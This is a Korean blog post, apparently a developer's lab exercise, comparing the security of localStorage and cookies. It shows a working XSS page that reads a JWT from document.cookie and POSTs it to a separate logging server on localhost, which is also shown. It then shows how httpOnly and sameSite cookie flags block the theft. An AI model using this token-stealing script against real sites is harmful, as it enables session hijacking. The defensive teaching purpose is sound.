Web App Project

공격 방어[localStorage와 cookie의 보안성 비교하기]

하얀성 2024. 6. 21. 18:45

localStorage와 cookie의 보안성 비교하기

 


1. XSS 공격 

  • 공격 유형: XSS (Cross-Site Scripting)
  • 공격 목적: 쿠키 탈취를 통한 세션 하이재킹
  • 방어 방법: HttpOnly 속성을 설정하여 클라이언트 측 스크립트가 쿠키에 접근하지 못하게 함.

 

localStorage 처럼 httpOnly 속성이 없음을 가정해서 XSS 공격을 가해보았다.

 

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>XSS Attack Test</title>
</head>

<body>
  <h1>XSS Attack Test Page</h1>
  <script>
    // 쿠키에서 JWT 토큰을 읽어서 공격 서버로 전송
    const cookieString = document.cookie;
    const cookies = cookieString.split('; ');
    const tokenCookie = cookies.find(row => row.startsWith('token='));

    if (tokenCookie) {
      const token = tokenCookie.split('=')[1];
      fetch('http://localhost:8001/log_token', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify({ token }),
      }).then(response => {
        if (response.ok) {
          console.log('토큰 전송 성공');
        } else {
          console.error('토큰 전송 실패');
        }
      }).catch(error => {
        console.error('네트워크 오류:', error);
      });
    } else {
      console.error('JWT 토큰을 찾을 수 없습니다.');
    }
  </script>
</body>

</html>

 

const express = require("express");
const cors = require("cors");
const path = require("path");
const app = express();

app.use(cors()); // CORS 설정 추가
app.use(express.json());

// 정적 파일을 서빙하는 경로 설정
app.use(express.static(path.join(__dirname)));

// 토큰 로그 엔드포인트
app.post("/log_token", (req, res) => {
  console.log("탈취한 JWT 토큰:", req.body.token);
  res.sendStatus(200);
});

app.listen(8001, () => {
  console.log("http://localhost:8001");
});

<공격 결과>

토큰을 탈취하였다.


 

<방어를 위한 httpOnly 속성 재작동>

속성을 다시 정상적으로 돌리니 XSS 공격에서 jwt가 보호되는 모습을 확인할 수 있다.

res.cookie("token", jwtToken, {
      path: "/",
      expires: new Date(Date.now() + 1000 * 60 * 60 * 24),
      httpOnly: true,
      sameSite: "Strict",
    });

 


내가 기를 쓰고 csrf 공격도 해볼려고 했는데

cors를 true로 기존 서버로 바꾸는 등의 말도안되는 짓을해야해서 포기했다.

쿠키 탈취는 어느정도 가능하지만 이 쿠키로 안의 내역을 수정하는건 힘들어서 포기했다.

아마 몽고db가 뭔가 막고 있는게 아닌가 싶다.